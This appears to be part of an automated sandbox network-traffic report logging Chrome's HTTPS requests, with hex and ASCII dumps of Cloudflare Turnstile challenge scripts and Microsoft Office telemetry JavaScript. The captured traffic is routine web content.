.link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{hei
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 Data Ascii: rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justif
2024-10-25 08:19:31 UTC	1369	IN	Data Raw: 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 Data Ascii: ext-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50073	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:32 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c836df1d4755&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:32 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121049 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c83edc053ab8-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:32 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c Data Ascii: wser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_feedback_report":"Having%20trouble%3F","turnstile_overrun_description":"Stuck%20here%3F","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfull
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 34 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 38 37 37 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 34 39 31 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 32 34 36 29 29 2f 39 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 33 39 38 29 29 2f 31 30 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 35 33 36 29 29 2f 31 31 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 37 37 36 29 29 2f 31 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 30 39 30 29 29 2f 31 33 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 39 35 35 31 39 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c Data Ascii: 4))/6)+-parseInt(gK(877))/7(-parseInt(gK(491))/8)+-parseInt(gK(1246))/9+parseInt(gK(1398))/10(-parseInt(gK(1536))/11)+-parseInt(gK(776))/12*(-parseInt(gK(1090))/13),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,955190),eM=this\|\|self,
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 68 78 28 31 34 37 35 29 5d 28 31 30 38 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 68 5b 68 78 28 31 36 32 34 29 5d 28 68 5b 68 78 28 31 32 33 39 29 5d 28 74 68 69 73 2e 68 5b 68 5b 68 78 28 31 36 36 31 29 5d 28 31 30 38 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 78 28 38 39 38 29 5d 28 74 68 69 73 2e 68 5b 68 5b 68 78 28 31 33 36 34 29 5d 28 31 30 38 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 31 38 38 2c 32 35 36 29 2c 32 35 35 29 5e 36 30 2c 6d 3d 68 5b 68 78 28 31 31 34 39 29 5d 28 65 2c 74 68 69 73 29 2c 6e 3d 74 68 69 73 2e 68 5b 68 5b 68 78 28 31 36 36 35 29 5d 28 31 30 38 2c 74 68 69 73 2e 67 29 5d 5b 34 5d 2c 34 39 3d 3d 3d 6c 29 6c 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 38 5d 5b 33 5d 5e 68 5b 68 78 28 31 36 32 34 29 5d 28 68 5b 68 78 Data Ascii: hx(1475)](108,this.g)][3]^h[hx(1624)](h[hx(1239)](this.h[h[hx(1661)](108,this.g)][1][hx(898)](this.h[h[hx(1364)](108,this.g)][0]++)-188,256),255)^60,m=h[hx(1149)](e,this),n=this.h[h[hx(1665)](108,this.g)][4],49===l)l=this.h[this.g^108][3]^h[hx(1624)](h[hx
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 79 28 32 37 37 29 5d 29 2c 6d 3d 69 7c 7c 68 79 28 31 31 31 32 29 2c 6e 3d 65 4d 5b 68 79 28 31 35 30 30 29 5d 5b 68 79 28 31 34 30 34 29 5d 3f 6b 5b 68 79 28 37 34 38 29 5d 28 27 68 2f 27 2c 65 4d 5b 68 79 28 31 35 30 30 29 5d 5b 68 79 28 31 34 30 34 29 5d 29 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 68 79 28 37 34 38 29 5d 28 6b 5b 68 79 28 31 32 36 37 29 5d 2b 6e 2b 6b 5b 68 79 28 38 39 36 29 5d 2b 31 2b 6b 5b 68 79 28 35 34 31 29 5d 2b 65 4d 5b 68 79 28 31 35 30 30 29 5d 5b 68 79 28 31 33 31 34 29 5d 2b 27 2f 27 2b 65 4d 5b 68 79 28 31 35 30 30 29 5d 2e 63 48 2b 27 2f 27 2c 65 4d 5b 68 79 28 31 35 30 30 29 5d 5b 68 79 28 31 30 37 34 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 68 79 28 33 39 31 29 5d 3d 65 4d 5b 68 79 28 31 35 30 30 29 5d 5b 68 79 28 33 39 31 29 5d 2c Data Ascii: y(277)]),m=i\|\|hy(1112),n=eM[hy(1500)][hy(1404)]?k[hy(748)]('h/',eM[hy(1500)][hy(1404)])+'/':'',o=k[hy(748)](k[hy(1267)]+n+k[hy(896)]+1+k[hy(541)]+eM[hy(1500)][hy(1314)]+'/'+eM[hy(1500)].cH+'/',eM[hy(1500)][hy(1074)]),s={},s[hy(391)]=eM[hy(1500)][hy(391)],
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 69 73 2e 67 5e 31 30 38 5d 5b 33 5d 2c 65 5b 68 7a 28 31 34 31 39 29 5d 28 74 68 69 73 2e 68 5b 31 30 38 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 68 7a 28 38 39 38 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 38 5d 5b 30 5d 2b 2b 29 2c 31 38 38 29 2b 32 35 36 26 32 35 35 2e 31 31 29 2c 78 3d 65 5b 68 7a 28 35 39 31 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 38 5d 5b 33 5d 2c 65 5b 68 7a 28 31 36 36 33 29 5d 28 36 38 2b 74 68 69 73 2e 68 5b 31 30 38 2e 35 37 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 68 7a 28 38 39 38 29 5d 28 74 68 69 73 2e 68 5b 31 30 38 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 32 35 35 29 29 2c 65 5b 68 7a 28 33 34 35 29 5d 28 32 30 31 2c 68 29 3f 28 42 3d 65 5b 68 7a 28 32 31 31 29 5d 28 76 2c 31 31 34 29 2c 43 3d 74 Data Ascii: is.g^108][3],e[hz(1419)](this.h[108^this.g][1][hz(898)](this.h[this.g^108][0]++),188)+256&255.11),x=e[hz(591)](this.h[this.g^108][3],e[hz(1663)](68+this.h[108.57^this.g][1][hz(898)](this.h[108^this.g][0]++),255)),e[hz(345)](201,h)?(B=e[hz(211)](v,114),C=t
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 66 6f 3d 7b 7d 2c 66 6f 5b 67 4c 28 31 36 36 37 29 5d 3d 66 6e 2c 65 4d 5b 67 4c 28 31 33 32 35 29 5d 3d 66 6f 2c 66 71 3d 65 4d 5b 67 4c 28 31 35 30 30 29 5d 5b 67 4c 28 34 32 32 29 5d 5b 67 4c 28 38 34 35 29 5d 2c 66 72 3d 65 4d 5b 67 4c 28 31 35 30 30 29 5d 5b 67 4c 28 34 32 32 29 5d 5b 67 4c 28 31 30 33 35 29 5d 2c 66 73 3d 65 4d 5b 67 4c 28 31 35 30 30 29 5d 5b 67 4c 28 34 32 32 29 5d 5b 67 4c 28 31 32 39 30 29 5d 2c 66 45 3d 21 5b 5d 2c 66 52 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4c 28 33 33 32 29 5d 28 67 4c 28 36 33 32 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 69 72 2c 64 2c 65 29 7b 69 72 3d 67 4c 2c 64 3d 7b 27 42 6c 4e 73 61 27 3a 69 72 28 39 32 34 29 2c 27 63 57 42 48 73 27 3a 69 72 28 34 35 38 29 2c 27 72 75 79 77 46 27 3a 69 72 28 31 36 Data Ascii: fo={},fo[gL(1667)]=fn,eM[gL(1325)]=fo,fq=eM[gL(1500)][gL(422)][gL(845)],fr=eM[gL(1500)][gL(422)][gL(1035)],fs=eM[gL(1500)][gL(422)][gL(1290)],fE=![],fR=undefined,eM[gL(332)](gL(632),function(c,ir,d,e){ir=gL,d={'BlNsa':ir(924),'cWBHs':ir(458),'ruywF':ir(16
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 3d 66 53 2c 67 71 5b 67 4c 28 34 39 34 29 5d 3d 66 54 2c 67 71 5b 67 4c 28 31 33 35 33 29 5d 3d 67 33 2c 67 71 5b 67 4c 28 36 30 30 29 5d 3d 67 32 2c 67 71 5b 67 4c 28 33 30 37 29 5d 3d 67 31 2c 67 71 5b 67 4c 28 38 39 30 29 5d 3d 67 30 2c 67 71 5b 67 4c 28 31 31 39 32 29 5d 3d 66 4c 2c 67 71 5b 67 4c 28 31 32 36 31 29 5d 3d 67 70 2c 67 71 5b 67 4c 28 31 33 38 33 29 5d 3d 66 4d 2c 67 71 5b 67 4c 28 31 35 30 36 29 5d 3d 66 51 2c 67 71 5b 67 4c 28 31 33 39 30 29 5d 3d 66 4e 2c 67 71 5b 67 4c 28 31 36 38 37 29 5d 3d 66 49 2c 67 71 5b 67 4c 28 32 34 32 29 5d 3d 66 48 2c 65 4d 5b 67 4c 28 38 31 37 29 5d 3d 67 71 2c 67 72 3d 7b 7d 2c 67 72 5b 67 4c 28 31 33 37 39 29 5d 3d 27 6f 27 2c 67 72 5b 67 4c 28 31 32 35 35 29 5d 3d 27 73 27 2c 67 72 5b 67 4c 28 39 32 36 Data Ascii: =fS,gq[gL(494)]=fT,gq[gL(1353)]=g3,gq[gL(600)]=g2,gq[gL(307)]=g1,gq[gL(890)]=g0,gq[gL(1192)]=fL,gq[gL(1261)]=gp,gq[gL(1383)]=fM,gq[gL(1506)]=fQ,gq[gL(1390)]=fN,gq[gL(1687)]=fI,gq[gL(242)]=fH,eM[gL(817)]=gq,gr={},gr[gL(1379)]='o',gr[gL(1255)]='s',gr[gL(926
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 2c 67 77 3d 67 4c 28 37 36 36 29 5b 67 4c 28 31 31 39 33 29 5d 28 27 3b 27 29 2c 67 78 3d 67 77 5b 67 4c 28 31 31 30 35 29 5d 5b 67 4c 28 38 37 35 29 5d 28 67 77 29 2c 65 4d 5b 67 4c 28 31 33 32 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 63 2c 6a 2c 6b 2c 6c 2c 6d 2c 76 2c 6e 2c 6f 29 7b 66 6f 72 28 6a 63 3d 67 4c 2c 6a 3d 7b 7d 2c 6a 5b 6a 63 28 36 37 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 5e 76 7d 2c 6a 5b 6a 63 28 31 36 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 76 26 73 7d 2c 6a 5b 6a 63 28 34 38 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2d 76 7d 2c 6a 5b 6a 63 28 31 34 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 Data Ascii: ,gw=gL(766)[gL(1193)](';'),gx=gw[gL(1105)][gL(875)](gw),eM[gL(1321)]=function(h,i,jc,j,k,l,m,v,n,o){for(jc=gL,j={},j[jc(678)]=function(s,v){return s^v},j[jc(1652)]=function(s,v){return v&s},j[jc(488)]=function(s,v){return s-v},j[jc(1490)]=function(s,v){re
2024-10-25 08:19:32 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 51 50 59 66 4f 27 3a 6a 45 28 31 36 32 32 29 2c 27 6f 75 49 53 41 27 3a 6a 45 28 35 30 38 29 2c 27 68 72 55 67 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 6a 49 4d 44 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4b 56 62 57 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6a 65 6a 5a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 69 67 61 70 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 45 42 64 54 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 Data Ascii: tion(h,i){return i===h},'QPYfO':jE(1622),'ouISA':jE(508),'hrUgM':function(h,i){return h===i},'jIMDD':function(h,i){return h(i)},'KVbWQ':function(h,i){return h<<i},'jejZt':function(h,i){return i&h},'igapE':function(h,i){return h==i},'EBdTm':function(h,i){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50074	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:32 UTC	521	OUT	GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
2024-10-25 08:19:32 UTC	1494	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:32 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 23 Oct 2024 18:34:05 GMT x-ms-request-id: 77e5cbdf-601e-0052-64e4-2514e8000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.221.23.199,b=924051818,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.c717dd17.1729844325.3713e96a&TotalRTCDNTime=6&CompressionType=gzip&FileSize=73679"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=14, origin; dur=0 , cdntime; dur=14 Akamai-Cache-Status: Miss from child, Miss from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081932Z-15b8d89586fcvr6p5956n5d0rc000000066g000000000vqa x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT
2024-10-25 08:19:32 UTC	14890	IN	Data Raw: 31 35 64 32 0d 0a 76 61 72 20 6f 74 65 6c 6a 73 5f 61 67 61 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 Data Ascii: 15d2var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{e
2024-10-25 08:19:32 UTC	16384	IN	Data Raw: 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 69 3d 6e 28 31 30 29 2c 72 3d 6e 28 30 29 2c 6f 3d 6e 28 36 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 61 6c 6c 6f 77 44 65 76 69 63 65 46 69 65 6c 64 73 3d 65 2c 74 68 69 73 2e 5f 70 72 6f 70 65 72 74 69 65 73 3d 74 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 49 64 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 56 65 72 73 69 6f 6e 3d 66 Data Ascii: ict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(10),r=n(0),o=n(6),s=function(){function e(e,t){this._allowDeviceFields=e,this._properties=t}return e.prototype.setAppId=function(e){this._addContext("AppInfo.Id",e)},e.prototype.setAppVersion=f
2024-10-25 08:19:32 UTC	16384	IN	Data Raw: 2e 74 6f 49 53 4f 53 74 72 69 6e 67 28 29 29 2c 73 2e 69 73 50 72 69 6f 72 69 74 79 28 65 2e 70 72 69 6f 72 69 74 79 29 7c 7c 28 65 2e 70 72 69 6f 72 69 74 79 3d 69 2e 41 57 54 45 76 65 6e 74 50 72 69 6f 72 69 74 79 2e 4e 6f 72 6d 61 6c 29 2c 74 68 69 73 2e 5f 73 65 6e 64 45 76 65 6e 74 28 65 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 7d 2c 65 2e 5f 61 64 64 43 6f 6e 74 65 78 74 49 Data Ascii: .toISOString()),s.isPriority(e.priority)\|\|(e.priority=i.AWTEventPriority.Normal),this._sendEvent(e)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)},e._addContextI
2024-10-25 08:19:33 UTC	16384	IN	Data Raw: 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 26 26 28 65 3f 6c 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 53 65 6e 74 28 74 5b 6f 5d 29 3a 6c 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 44 72 6f 70 70 65 64 28 74 5b 6f 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 44 72 6f 70 70 65 64 52 65 61 73 6f 6e 2e 4e 6f 6e 52 65 74 72 79 61 62 6c 65 53 74 61 74 75 73 29 29 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 43 6f 6e 6e 65 63 74 69 6f 6e 73 2d 2d 2c 72 7c 7c 6e 7c 7c 74 68 69 73 2e 73 65 6e 64 51 75 65 75 65 64 52 65 71 75 65 73 74 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 6f 6e 76 65 72 74 41 6c 6c 48 65 61 64 65 72 73 54 6f 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 6e 3d 65 Data Ascii: asOwnProperty(o)&&(e?l.default.eventsSent(t[o]):l.default.eventsDropped(t[o],i.AWTEventsDroppedReason.NonRetryableStatus));this._activeConnections--,r\|\|n\|\|this.sendQueuedRequests()},e.prototype._convertAllHeadersToMap=function(e){var t={};if(e)for(var n=e
